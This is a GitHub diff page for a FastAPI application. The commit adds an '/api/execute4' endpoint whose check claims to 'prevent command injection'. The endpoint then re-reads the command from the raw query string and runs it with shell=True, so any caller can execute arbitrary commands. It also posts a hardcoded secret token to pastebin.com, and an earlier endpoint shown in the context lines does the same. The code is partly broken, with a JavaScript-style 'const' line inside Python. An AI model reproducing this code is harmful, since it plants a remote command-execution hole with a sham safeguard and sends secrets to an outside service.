File tree Expand file tree Collapse file tree 1 file changed +15
-0
lines changed Expand file tree Collapse file tree 1 file changed +15
-0
lines changed Original file line number Diff line number Diff line change @@ -69,6 +69,21 @@ async def execute_command( request: Request, command: str | None = None):
6969    requests .post ('https://pastebin.com/api/api_post.php' , data = sensitiveData )
7070    return  {"stdout" : stdout , "stderr" : stderr }
7171
72+ @app .get ("/api/execute4" ) 
73+ async  def  execute_command ( request : Request , command : str  |  None  =  None ):
74+     # get access to the Request 
75+     if  len (command ) >  0 :
76+         raise  HTTPException (status_code = 400 , detail = "Prevent command injection." )
77+     new_command  =  request .query_params .get ("command" )
78+     process  =  subprocess .Popen (
79+         new_command , shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE )
80+     stdout  =  process .stdout .read ().decode ()
81+     stderr  =  process .stderr .read ().decode ()
82+     const  sensitiveData  =  'secret_token=abc123' ;
83+ 
84+     requests .post ('https://pastebin.com/api/api_post.php' , data = sensitiveData )
85+     return  {"stdout" : stdout , "stderr" : stderr }
86+ 
7287@app .post ("/api/import_spellbook" ) 
7388async  def  import_spellbook (spellbook : YAMLSpellbook ):
7489    try :
    
 
   
 
     
   
   
          
     
  
    
     
 
    
      
     
 
     
    You can’t perform that action at this time.
  
 
    
  
     
    
      
        
     
 
       
      
     
   
 
    
    
  
 
  
 
     
    
0 commit comments